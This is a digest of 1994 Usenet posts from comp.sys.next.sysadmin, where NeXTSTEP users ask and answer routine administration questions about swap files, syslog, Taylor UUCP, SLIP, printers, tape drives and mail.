Subject: Novell Netware support on HP/PA?
Date: 21 Jun 1994 19:25:10 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2u7eqm$q0l@cs.ubc.ca>
I need to know if the final release of NEXTSTEP HP/PA will support a
Novell Netware client. How about Novell's Personal Netware
peer-to-peer? Anybody know?
Thanks,
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: jkolyer@axysdev.nwest.mccaw.com (Jonathan Kolyer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Swap Disks
Date: 17 Jun 1994 22:07:34 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2tt6r6$h7k@ftp-p.mccaw.com>
References: <2tsjjc$9h3@pendragon.jsc.nasa.gov>
In article <2tsjjc$9h3@pendragon.jsc.nasa.gov> alan@es4spare.jsc.nasa.gov
(Alan A. Barhorst) writes:
> Hello,
> I was hoping some kind soul would tell me the procedure for
> setting up a 100MB drive as a swapdisk. BuildDisk wants to put the
system
> on it (using ver 3.2). I just want it to be used for swapping. >
Look at the Man Pages documentation under "mach_swapon". This tells you
what you need to do. I usually do this:
/usr/etc/mach_swapon -v -o prefer /BigDisk/swapspace/swapfile
Note that you should first do:
touch /BigDisk/swapspace/swapfile
You can set these commands up in some boot file, but you'd have to
research it. Note that if you use mach_swapon from the command line, the
swapfile will stay as-is when you reboot, and hence will need deletion.
--
jonathan.kolyer@mccaw.com | This space intentionally
Paradigm Systems Corporation | left blank...
NeXTmail is cool.
From: damonc@hookup.net (Damon F. Cooper)
Newsgroups: comp.sys.next.sysadmin
Subject: STANDALONE TRANSSYS SLIP POSSIBLE?
Date: Sun, 12 Jun 1994 20:00:58 GMT
Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA
Message-ID: <damonc.19.2DFB6979@hookup.net>
Is there ANYONE out there that is running a STANDALONE NS box that
is successfully running TransSys PNI SLIP?? I posed a similar question
last week, and I got 31 (THIRTY ONE!!)responses from people looking for help
as well...
Can anyone help? (Please!)
Given a "fresh", standalone machine, install NEXTSTEP 3.2 on it,
what are the steps to follow? Anybody have this working that could
post/upload the config files/etc?
THANK-YOU VERY MUCH IN ADVANCE!!
Damon Cooper
damonc@hookup.net
From: jinyang@cs.utexas.edu (Jin Yang)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Semaphore for NextStep
Followup-To: poster
Date: 21 Jun 1994 15:02:23 -0500
Organization: CS Dept, University of Texas at Austin
Message-ID: <2u7h0f$7hb@tofu.cs.utexas.edu>
I would like to know whether there is something on NextStep that implements
(or simulates) Semophore? Please send your response to
jinyang@cs.utexas.edu or
jy@bassoon.ho.att.com
Thanks in advance.
- Jin Yang
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXTSTEP Benchmarking software?
Date: 20 Jun 1994 12:10:31 GMT
Organization: University of Houston
Distribution: world
Message-ID: <2u40vn$sul@masala.cc.uh.edu>
References: <2tsu6n$r8k@golf.ustores.missouri.edu>
In article <2tsu6n$r8k@golf.ustores.missouri.edu> ccpaulh@monad.missouri.edu
(H. Paul Hammann) writes:
# I am going to be evaluating a number of different Intel NeXTSTEP
#machines. Can someone please point me to some benchmarking code for video,
#disk, network, and/or number crunching performance? It would be nice if I
#could find one package specifically NeXTSTEP based and another package
#generic enough to go cross platform (i.e. compare NeXT to SGI). Mail,
posts,
#and Pointers to code welcome.
# Thanks in advance for any help!
#
#Regards, ___
# /\__\ NeXT system administrator
#H. Paul Hammann \/__/ Campus Computing
#ccpaulh@monad.missouri.edu NeXTstep U. of Missouri - Columbia
You can pick up various NEXTSTEP benchmarking utilities from
uhoop.egr.uh.edu:/pub/misc/BenchMarks
including a tri-binary of BenchPress (has code for HP)
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Syslogd Error Messages on Bootup
Date: 20 Jun 1994 12:12:59 GMT
Organization: University of Houston
Message-ID: <2u414b$sum@masala.cc.uh.edu>
References: <2tsfis$10r@pdgmhost.pdgm.com>
In article <2tsfis$10r@pdgmhost.pdgm.com> ted@.pdgm.com (Edward E. Murphy)
writes:
#Hi all,
#
#Having just installed INN, I am getting an error message on bootup re my
#syslog. The message is:
#
#..
#pdgmhost syslogd: unknown facility name: inappropriate ioctl for device
#pdgmhost syslogd: unknown facility name "news"
#pdgmhost syslogd: unknown facility name "news"
#..
#
#Here is my syslog.conf:
# *.err;kern.debug;auth.notice /dev/console
# kern.debug;daemon,auth.notice;*.err;mail.crit /usr/adm/messages
# lpr.debug /usr/adm/lpd-errs
# mail.info /usr/spool/mqueue/syslog
#
# *.alert;kern.err;daemon.err operator
# *.alert root
#
# *.emerg *
#
# news.crit /usr/spool/news/log.news/news.crit
# news.err /usr/spool/news/log.news/news.err
# news.notice /usr/spool/news/log.news/news.notice
#
^^^^^^^^^
There should be tabs separating the facilities and the actions...
#Does anyone have any ideas?
#
#Thanks in advance,
#Ted.
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: Roberto_Arrocha@SoftDesign.COM (Roberto Arrocha)
Subject: Installing Taylor UUCP on NEXTSTEP 3.2
Message-ID: <Crp5C0.2vo@SoftDesign.COM>
Keywords: Taylor UUCP NEXTSTEP
Sender: roberto@SoftDesign.COM (Roberto Arrocha)
Organization: SoftDesign, Inc.
Date: Mon, 20 Jun 1994 12:57:35 GMT
I have just successfully completed "make" on Taylor UUCP v1.04.
To get to this point I have edited conf.h and policy.h as follows:
Changes to conf.h:
Although configure senses that we have NextDeveloper/Headers/bsd/dirent.h,
this turns out to be a POSIX feature that NeXT didn't implement.
Therefore disable: #define HAVE_DIRENT_H 0
Redefined statfs macro from: #define STAT_STATFS2_FS_DATA 1
to: #define STAT_STATFS2_BSIZE 1
Disabled utime.h due to compiler error:
statsb.c: In function `ussettime':
statsb.c:106: storage size of `s' isn't known
when attempted to make: #define HAVE_UTIME_H 0
Changes to policy.h:
#define HAVE_BSD_TTY 1
#define SINGLE_WRITE 100
#define TIMES_TICK 60
#if 1
#define PS_PROGRAM "/bin/ps -l"
#define HAVE_PS_MULTIPLE 0
#endif
#define LOCKDIR "/usr/spool/uucp/LCK"
#define HAVE_V2_LOCKFILES 1
#define HAVE_V2_CONFIG 1
Please comment on the above changes, if you disagree.
Before I proceed to install Taylor UUCP, I have the following questions:
1. Makfile.in says that man pages for Taylor UUCP programs are going to
reside in /usr/local/man1 & man8. How to "link" with rest of man pages so
that a request (Edit, csh) for a man page searches these directories as
well?
2. From the Taylor UUCP documentation: "You should arrange for your mail
and news systems to invoke the Taylor UUCP version of `uux' when sending
mail via UUCP. If you simply replace any existing version of `uux' with
the Taylor UUCP version, this will probably happen automatically.
However, if both versions exist on your system, you will probably have to
modify the mail and news configuration files in some way."
At first glance, replacing the existing version of `uux' with the Taylor
UUCP version seems like the easiest route; i.e. no changes to mail and
news configuration files necessary. I plan to simply link (ln -s) the
Taylor UUCP 'uux' to /usr/bin/uux. Any comments? Is 'uux' the only Taylor
UUCP file that I will have to link to /usr/bin? Any other changes?
If, on the other hand, I wanted to consider modifying _the_ mail and news
config files.. here's a list of files that come to mind:
mail: sendmail.cf
news: sys
other: crontab.local, L.cmd
Please forward (to me directly) comments and/or changes to these files as
a result of installing Taylor UUCP (NeXTmail accepted), and I'll
summarize.
Thx.
Roberto
Currently my crontab.local looks like:
45 * * * * uucp /usr/bin/uupoll -n uunet
50 * * * * uucp /usr/lib/uucp/uucico -r1
Taylor UUCP documentaion suggests:
40 4,10,15 * * * touch /usr/spool/uucp/uunet/C./C.A0000
45 * * * * /bin/echo /usr/lib/uucp/uucico -r1 | /bin/su uucpa
sys
# Newsgroups we expects to send/forward to uunet:
uunet:all,!local,!to,to.uunet/all,!local:L:uux - -r -z -gE uunet!rnews
--
Roberto
SoftDesign, Inc.
From: Uwe Hoffmann
Newsgroups: comp.sys.next.sysadmin
Subject: Weird printer behaviour
Date: 20 Jun 1994 14:20:37 GMT
Organization: Forschungszentrum Informatik (FZI), Karlsruhe, Germany
Message-ID: <2u48jm$n18@gate.fzi.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: printer
Hi,
I'm totally puzzled over a problem we suddenly
have with our printer.
Our setup:
3 nextstations, 1 cube, 1 nextprinter (public).
NS 3.2 on all systems.
Problem:
Until yesterday everything printed fine (and this for
years, with every version of the OS).
I haven't changed anything but now when printing it cuts
off one tenth of the upper side of the page (A4 format).
We have other printers in the net which work fine, only
our nextprinter does this (with whatever document: Edit,
Create, Preview, whatever).
Weird: there are no error messages, not in /usr/adm/lpd-errs
and not in other files I've checked.
I have completely shut down the system and rebooted but it
didn't help.
Any takers ?
(I checked all the archived posts from this newsgroup
from 1993 but nobody had a similar problem)
Thanks
--
uwe....................................hoffmann@fzi.de (nextmail ok)
From: citdem@violet.ccit.arizona.edu (MCCOLLAM, DON)
Newsgroups: comp.sys.next.sysadmin
Subject: HD problem
Date: 20 Jun 1994 07:59 MST
Organization: University of Arizona
Distribution: world
Message-ID: <20JUN199407593247@violet.ccit.arizona.edu>
News-Software: VAX/VMS VNEWS 1.41
Hi, Folks.
Here's my problem. I bought a new Micropolis 1.2G external drive. I installed
it as my boot drive. I then reformatted and re-initialized the old 660MB
drive. However, I have not been able to mount the old HD via fstab.
I get different results depending on how I boot.
If if bsd -s; I can mount the drive manually and it stays when I go into
multiuser mode.
If I bsd(0.0,0), the drive, it shows up like the od or a floppy (owned by the
current user - no thanks).
If I bsd, then the window manager crashes as soon as it tries to display the
file browser (i.e. soon after login).
I've followed the steps in the NeXT 3.0 SysAdmin guide. I've tried all sorts
of variations. (I could try "builddisk"; but I really don't need two bootable
drives.)
Any suggestions? What is the correct way to have the boot process mount
a HD via fstab?
I'd like to mount it as /Archive. [I've tried pre-creating the /Archive
directory. I've tried mounting it as /Archive/InternHD, etc. Nothing works.]
Help.
Please e-mail your response. I'll post a solution so others can benefit.
Thanks.
Don McCollam
mccollam@snow.ccit.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: tini@gurke.ping.de (Constantin Szallies)
Subject: Re: Installing Taylor UUCP on NEXTSTEP 3.2
Message-ID: <CrpqBo.vH@gurke.ping.de>
Sender: tini@gurke.ping.de (Constantin)
Organization: Legalize THC
References: <Crp5C0.2vo@SoftDesign.COM>
Date: Mon, 20 Jun 1994 20:30:59 GMT
In article <Crp5C0.2vo@SoftDesign.COM> Roberto_Arrocha@SoftDesign.COM
(Roberto Arrocha) writes:
> I have just successfully completed "make" on Taylor UUCP v1.04.
> To get to this point I have edited conf.h and policy.h as follows:
[Munch]
There's also a ready to compile version for next at
ftp.uni-stuttgart.de. I used that and I had no problems. :-)
> Taylor UUCP documentaion suggests:
> 40 4,10,15 * * * touch /usr/spool/uucp/uunet/C./C.A0000
> 45 * * * * /bin/echo /usr/lib/uucp/uucico -r1 | /bin/su uucpa
I think uucico will NOT call out, if there's nothing in your queue.
What's fair, because if you don't write mail/news you don't get
mail/news. I use uucico -f -r1 -s <my_system>.
Greetings Constantin
> --
> Roberto
> SoftDesign, Inc.
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Errors in /private/adm/messages
Date: 21 Jun 1994 16:05:29 +0100
Organization: Palumbian Research Labs
Message-ID: <2u6vjp$b5m@marsu.tynet.sub.org>
References: <CrICuz.F7@gurke.ping.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
tini@gurke.ping.de (Constantin) writes:
>I think there here come when I use the modem!
>gurke mach: Scc(com0): Rx: DMA Buffer Overrun
>gurke mach: ttyscc1: receive error 2 (-902)
>gurke last message repeated 8 times
>gurke mach: or 2 (-902)
This is a result of NeXT's flaky serial driver.
Take the Mux driver instead:
ftp.uni-stuttgart.de:/pub/systems/next/i486/Drivers/3.2/Mux-1.4.tar.gz
Markus.
--
/dev/ Markus Wenzel
/usr/spool/mail/ mow@marsu.tynet.sub.org
/etc/zoneinfo/ University of Stuttgart
/bin/ps System administration, Consulting, Networking
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installing Taylor UUCP on NEXTSTEP 3.2
Date: 21 Jun 1994 16:17:19 +0100
Organization: Palumbian Research Labs
Message-ID: <2u709v$b6t@marsu.tynet.sub.org>
References: <Crp5C0.2vo@SoftDesign.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: Taylor UUCP NEXTSTEP
Roberto_Arrocha@SoftDesign.COM (Roberto Arrocha) writes:
>I have just successfully completed "make" on Taylor UUCP v1.04.
>To get to this point I have edited conf.h and policy.h as follows:
>Changes to conf.h:
>[...]
You don't have to do any manual changes if you use Taylor uucp 1.05.
Just say "configure" and "make".
>Before I proceed to install Taylor UUCP, I have the following questions:
>1. Makfile.in says that man pages for Taylor UUCP programs are going to
>reside in /usr/local/man1 & man8. How to "link" with rest of man pages so
>that a request (Edit, csh) for a man page searches these directories as
>well?
You can't read them with Edit, but with any shell if you add a
setenv MANPATH /usr/man:/usr/local/man (csh)
MANPATH=/usr/man:/usr/local/man (zsh)
to you .cshrc or .zshrc.
Markus.
--
/dev/ Markus Wenzel
/usr/spool/mail/ mow@marsu.tynet.sub.org
/etc/zoneinfo/ University of Stuttgart
/bin/ps System administration, Consulting, Networking
Newsgroups: comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Cannot use a SMC Elite 16 card. Help please!
Message-ID: <1994Jun21.093626.23231@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Tue, 21 Jun 1994 09:36:26 GMT
Hello,
I am installing a new machine in our network, with a SMC Elite 16 card. I got
the NeXT Answer about it, configured it (I think ;-) properly, but I still get
the following message when using SNS (I get the message twice):
ifconfig: ioctl (SIOCGIFFLAGS): no such interface
and then I abort SNS. Did someone experiment this problem? What should I do?
Thanks for any help,
Yves.
--
Advocates for the C++ school claim that a well designed Yves Arrouye
program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Printer on Parallel port (NS/I)- any chance now or in the future?
Date: 12 Jun 1994 15:14:04 GMT
Organization: Massachusetts Institute of Technology
Message-ID: <2tf8ns$gat@senator-bedfellow.MIT.EDU>
References: <2tf48j$bc2@crl.crl.com>
In article <2tf48j$bc2@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak) writes:
>Hi;
>Any chance of connecting a parallel ps-printer to NS/I now or in the near
>future. Any comments/suggestions?
We have an HP Laser Jet IVsi hooked into an Intel Professional GX parallel
port right now. It works fine.
Eric
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: andy@dep (Andrew Burday)
Subject: French character set - standard?
Message-ID: <1994Jun21.204209.20349@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Tue, 21 Jun 1994 20:42:09 GMT
I need to edit some French text to put on a gopher server. Can anyone
tell me if Edit.app, using the standard Next French keyboard, produces
a standard character set? (I think the character set I have in mind
is ISO 8859, but I'm not sure.) Or does it use some kind of
proprietary character set?
I'm sorry to have to post this, but I don't have any easy access to a
vt220 (or emulator) which would allow me to just create some text and
then look at it to see if it displays properly.
Again, this text is to put on a gopher server, so I need to be sure
that any reasonably standard system (that can display French
characters) will display it correctly. It's not just for my own use
on the NeXT console.
If it makes a difference, I'm running NS 3.0. I also have access to
2.1 and 3.2 (black).
I would prefer e-mail responses.
Thanks in advance,
Andrew Burday
andy@philo.mcgill.ca
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: STANDALONE TRANSSYS SLIP POSSIBLE?
Message-ID: <1994Jun12.215216.3626@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <damonc.19.2DFB6979@hookup.net>
Date: Sun, 12 Jun 1994 21:52:16 GMT
In article <damonc.19.2DFB6979@hookup.net> damonc@hookup.net (Damon F.
Cooper) writes:
> Is there ANYONE out there that is running a STANDALONE NS box that
> is successfully running TransSys PNI SLIP?? I posed a similar question
> last week, and I got 31 (THIRTY ONE!!)responses from people looking for
help
> as well...
>
> Given a "fresh", standalone machine, install NEXTSTEP 3.2 on it,
> what are the steps to follow? Anybody have this working that could
> post/upload the config files/etc?
I documented the cookbook recipe to use TransSys SLIP with mu suppliers IP
service some time ago (on ftp.demon.co.uk, in
/pub/NeXT/NeXT.Internet.rtfd.compressed). PNI is very little different
from that.
The big deal with a standalone 3.2 system is that you can't specify an IP
address with HostManager->Local (or in /etc/hostconfig) unless you have a
network interface.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: Mark.Pappas@mpd.amaranth.com
Subject: NS Users in Pensacola, FL
Message-ID: <16.47583242.MPD@mpd.amaranth.com>
Sender: news@newsserver.rrzn.uni-hannover.de (News Service)
Organization: RRZN
Date: Tue, 21 Jun 1994 12:46:23 GMT
Looking for NeXT Step users in Pensacola, FL. If there are give me a call or
drop me e-mail. Looking to maybe start a NeXT Step Users Group.
Thanks
Mark Pappas
Mark Pappas
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From: doyle@pion.lanl.gov (Mark Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NXHost puzzle
Date: 21 Jun 1994 18:03:48 GMT
Organization: Los Alamos National Laboratory
Distribution: world
Message-ID: <2u7a24$2ct@newshost.lanl.gov>
References: <2u77th$tt@newshost.lanl.gov>
In article <2u77th$tt@newshost.lanl.gov> doyle@pion.lanl.gov (Mark Doyle)
writes:
> Hi all,
> I have been trying to get NXHost to work, but I have been getting
> mixed results. At the time I have tried to do this, Public
> Window Server is on and it works with machines in the local area
> network. However, if I try it with a machine far away, then it
> fails with the message
>
> DPS client library error: Could not form connection, host pion.
Never mind. I was leaving off the .lanl.gov which I thought wasn't
necessary for machines in the local network since there are aliases for
some of them, but not my home machine. And (really stupid) I was cutting
and pasting to test the remote machines, and this was missing
the .lanl.gov which is surely necessary in this case. Need more sleep!
Cheers,
Mark
doyle@pion.lanl.gov
From: grh@ccinet.ab.ca
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTMail - SunMail
Date: 21 Jun 1994 18:13:15 GMT
Organization: CCI Networks, a division of Corporate Computers Inc.
Message-ID: <2u7ajr$6eg@finzi.ccinet.ab.ca>
We are using the NeXT as our mailserver and tying in our Sun servers
by exporting to the Sun. The problem we are having is Sun root cannot
write to the mounted NeXT directory even though the Sun server is listed
in .rhosts.
Help
From: grh@ccinet.ab.ca
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT-SUN mail
Date: 21 Jun 1994 18:19:49 GMT
Organization: CCI Networks, a division of Corporate Computers Inc.
Message-ID: <2u7b05$6ek@finzi.ccinet.ab.ca>
Keywords: mail
We are using the NeXT as our mail server and exporting /usr/spool/mail to
our Sun servers. The problem we are having is that Sun root cannot write
to /usr/spool/mail even though they are listed in .rhosts
Help
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: disktab for Hitachi 516c-16, anyone?
Date: Wed, 22 Jun 1994 08:44:37 GMT
Organization: Department of Computer Science, University of Sheffield
Message-ID: <940622094437.13940AACUG.malc@jeeves>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
The disk on our four-year old Cube has died... :-(
The good news is we have a "hot spare" which we can replace it with.
The bad news is that the spare's formatted with a 512k blocksize.
Does anybody have a disktab for a Hitachi 516c-16...?! :-)
Have fun,
mmalcolm.
From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: fbshow in NS3.2(Black)
Date: 22 Jun 1994 07:59:54 GMT
Organization: Danish NeXT User Group
Message-ID: <2u8r1q$7o@machthenext.dannug.dk>
Keywords: fbshow, bootmessages, rc.local
Hi,
Has anyone actually found a way to get NS3.2 to display the messages in
rc.local using fbshow??? It worked nicely in NS3.1, but not anymore.
Sigh. I hate it when they change things like this. Also, I really liked to
old panel better...
Thanks
best regards
Michael
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NeXTMail: work@dannug.dk
Voice: Int + 45 43 53 34 33
Fax: Int + 45 43 53 34 33
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From: rfoote@pcm5134.sph.umich.edu (Richard J. Foote)
Newsgroups: comp.sys.next.sysadmin
Subject: How to attach tape drive to NS/I 3.2 System
Date: 22 Jun 1994 12:36:36 GMT
Organization: University of Michigan
Message-ID: <2u9b8k$q6b@lastactionhero.rs.itd.umich.edu>
Can some kind soul point me to where I can figure out how to attach a Tape
Backup (WangDAT 3100) to a NS/I 3.2 System? From what I gather, I need a
"SCSITape" Driver which should reside on the NS CD, but I have to borrow
both the CD-ROM drive and the tape drive, so getting it right the [second]
time is pretty important. Thanks!
--
Richard J. Foote | "Callin that boy to the dinner table
School of Public Health | Callin that girl cause she's just as able
University of Michigan | All we do is decorate our minds
rfoote@umich.edu | That's so significant" --Sonia Rutstein
Newsgroups: comp.sys.next.sysadmin
From: friendly@hotspur.psych.yorku.ca (Michael Friendly)
Subject: ReversePageOrder on networked printers
Message-ID: <Crswpz.9C7@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University
Date: Wed, 22 Jun 1994 13:41:59 GMT
I have network access to central HP LJ IIISi printers which seem to be set up
so that they print with the pages in reverse order. The OutputOrder option
on the Options panel of the Print Panel doesn't have any effect on this.
In the release notes, Printing.rtf, mention is made of a ReversePageOrder
property which can be set in PrintManager, however the Modify button for
these printers is grayed and I can't access them.
Is there some way to use nidump/niload to change this behavior or anything
else I can do on my own machine so that documents printed to that printer
will automatically be printed out in correct order? I know of command line
utilities which can do this, but I want something which works from the
standard Print Panel.
--
Michael Friendly Internet: friendly@vm1.yorku.ca
Psychology Department NeXTmail: friendly@hotspur.psych.yorku.ca
York University
4700 Keele Street
Toronto, ONT M3J 1P3 CANADA
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: How to attach tape drive to NS/I 3.2 System
Message-ID: <CrsznE.EDp@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2u9b8k$q6b@lastactionhero.rs.itd.umich.edu>
Date: Wed, 22 Jun 1994 14:45:14 GMT
Richard J. Foote (rfoote@pcm5134.sph.umich.edu) wrote:
: Can some kind soul point me to where I can figure out how to attach a Tape
: Backup (WangDAT 3100) to a NS/I 3.2 System? From what I gather, I need a
: "SCSITape" Driver which should reside on the NS CD, but I have to borrow
: both the CD-ROM drive and the tape drive, so getting it right the [second]
: time is pretty important. Thanks!
The SCSI Tape driver is installed by default (in fact, you have no
choice: it just goes on). Go to Configure.app, and choose the "Add..."
button in the "Other" drivers section. "SCSI Tape Driver" is one of the
drivers offered to you in the Add panel.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin
From: tommi@balou.rhein.de (Thomas Pfleiderer)
Subject: How to load Fonts to printer?
Message-ID: <1994Jun22.061748.478@balou.rhein.de>
Sender: tommi@balou.rhein.de (Thomas Pfleiderer)
Organization: private NeXT
Date: Wed, 22 Jun 94 06:17:48 GMT
Hi,
how can I load a PostScript font into the printer's memory?
Thanks, tommi
------
Thomas Pfleiderer
tommi@balou.rhein.de
voice/fax: +49 2225 701332
NeXT-Mail appreciated.
From: ccx009@rowan.coventry.ac.uk (Adam Bentley)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Printing Problems on NS 3.1
Followup-To: poster
Date: 21 Jun 1994 18:41:30 +0100
Organization: Coventry University
Message-ID: <2u78oa$bqn@rowan.coventry.ac.uk>
Hi,
can anyone out there give me some idea as to why I can't set up a
shared printer on my network? I have hooked up my Next 400 DPI Laser
printer to one of the machines in my cluster and want to configure it.
Can someone give me a step by step guide on how to.
1. Set it up as a local printer
2. Export it to the rest of my NeXT's
When print manager is invoked I can't set up 'Local_Printer' as
a Next 400 DPI laser as it is 'greyed-out' and inaccessible. Hence
if I can't do this, I can't export it to the rest of my machines.
I have no printed docs for any of this stuff and some pretty out of
date Librarian stuff and as I don't really use the machines much I'm
not sure where to look for stuff.
Any help appreciated.
--
_
/-\dam
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From: richarda@tea.dcs.qmw.ac.uk (Achmatowicz)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT mail question
Date: 22 Jun 1994 20:14:32 GMT
Organization: Computer Science Dept, QMW, University of London, UK.
Message-ID: <2ua638$4ka@beta.qmw.ac.uk>
Hi All
I have a couple of NeXT machines plugged into a non-NeXT (Sun)
network and would like to use the NeXT Mail application to
read non-NeXT mail from a non-NeXT mail server.
I read the installation notes on using NeXT mail in a
mixed network and it mentions the creation of
/LocalLibrary/Images/People on the non-NeXT mail server.
Does anyone know if it is possible to avoid creating this
directory (and maintaining its contents) if only non-NeXT
mail will be read????
Any advice would be greatly appreciated
Thanks
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT mail question
Date: Wed, 22 Jun 1994 20:53:17 GMT
Organization: Department of Computer Science, University of Sheffield
Message-ID: <940622215317.432AACUG.malc@jeeves>
References: <2ua638$4ka@beta.qmw.ac.uk>
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Hi Richard,
> I read the installation notes on using NeXT mail in a
> mixed network and it mentions the creation of
> /LocalLibrary/Images/People on the non-NeXT mail server.
>
> Does anyone know if it is possible to avoid creating this
> directory (and maintaining its contents) if only non-NeXT
> mail will be read????
>
Yes, the directory is only used to put pictures of people in the Mail window.
You can ignore it, and you certainly don't need to maintain the directory!
Have fun,
mmalcolm.
SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569
Dept. Computer Science | direct : 825569
Sheffield University | Fax : (+44) 742 780972
Regent Court | Email: malc@dcs.shef.ac.uk
211 Portobello Street | (NeXTMail, SunMail, MIME welcome)
Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
Organization: Arizona State University
Date: Wed, 22 Jun 1994 13:22:41 MST
From: <ATMAS@ASUACAD.BITNET>
Message-ID: <94173.132241ATMAS@ASUACAD.BITNET>
Newsgroups: comp.sys.next.sysadmin
Subject: HELP: NeXTStation (color) won't boot
Problem: NeXTStation won't boot from hard drive, floppy drive or CD (the
CD might not work because I have ROM v66). It appears as though it never
gets very far into the boot process: the hard drive light goes on briefly
but then it sounds like the disk just spins, and I don't hear any activity
from the floppy drive. In addition, *nothing* is displayed on the monitor
(I checked the cables and verified that the monitor works, by turning the
brightness all the way up).
Situation leading up to the problem: The system apparently got confused
trying to read a DOS floppy and was unable to access the floppy drive
afterward. I logged out and restarted the system, then I put in another
DOS floppy and logged in. The login process appeared to hang up so I
manually ejected the floppy and powered down using the monitor. Of course
I forgot to halt the system first so the shutdown was probably less graceful
than it should have been. Now I can't boot up.
I can imagine that there was potential for corrupting the file system in the
power down but I think I should at least be able to boot from a floppy and see
something on the screen. Any suggestions will be greatly appreciated.
Thanks,
Mike
From: bhill@next.com (Brian Hill (Contractor))
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost over PPP or SLIP
Date: 22 Jun 1994 21:59:19 GMT
Organization: NeXT, Inc.
Message-ID: <2uac7n$buc@rosie.next.com>
References: <2ts6an$bv4@news1.digex.net>
In article <2ts6an$bv4@news1.digex.net> sbender@harmony.digex.net (Scott
Bender) writes:
>
> Has anyone been able to get -NXHost to work over PPP or SLIP from Black
to
> White? I get connection errors when I try. Any help would be
appreciated.
>
> - Scott
Is your problem really going from black-to-white or could it be a
configuration error that is actually hardware-independent?
Assuming the latter, I needed to send kill -31 21 on my personal machine
to get -NXHost to work with it as the slip client. Process 21 is the
nmserver. If the slip routing is set up in rc.local, the nmserver never
finds out about the connection. Take a look in /etc/rc.net for a short
bit of script (search for "fruits") that you can append to /etc/rc.local.
The only problem is that once the slip connection is up and nmserver knows
about it, it seems to be kept alive. That is, the default in the SLIP
package that I am using (which is to drop the link after five minutes of
disuse) is defeated. --Brian
From: bhill@next.com (Brian Hill (Contractor))
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Weird printer behaviour
Date: 22 Jun 1994 22:15:21 GMT
Organization: NeXT, Inc.
Message-ID: <2uad5p$bus@rosie.next.com>
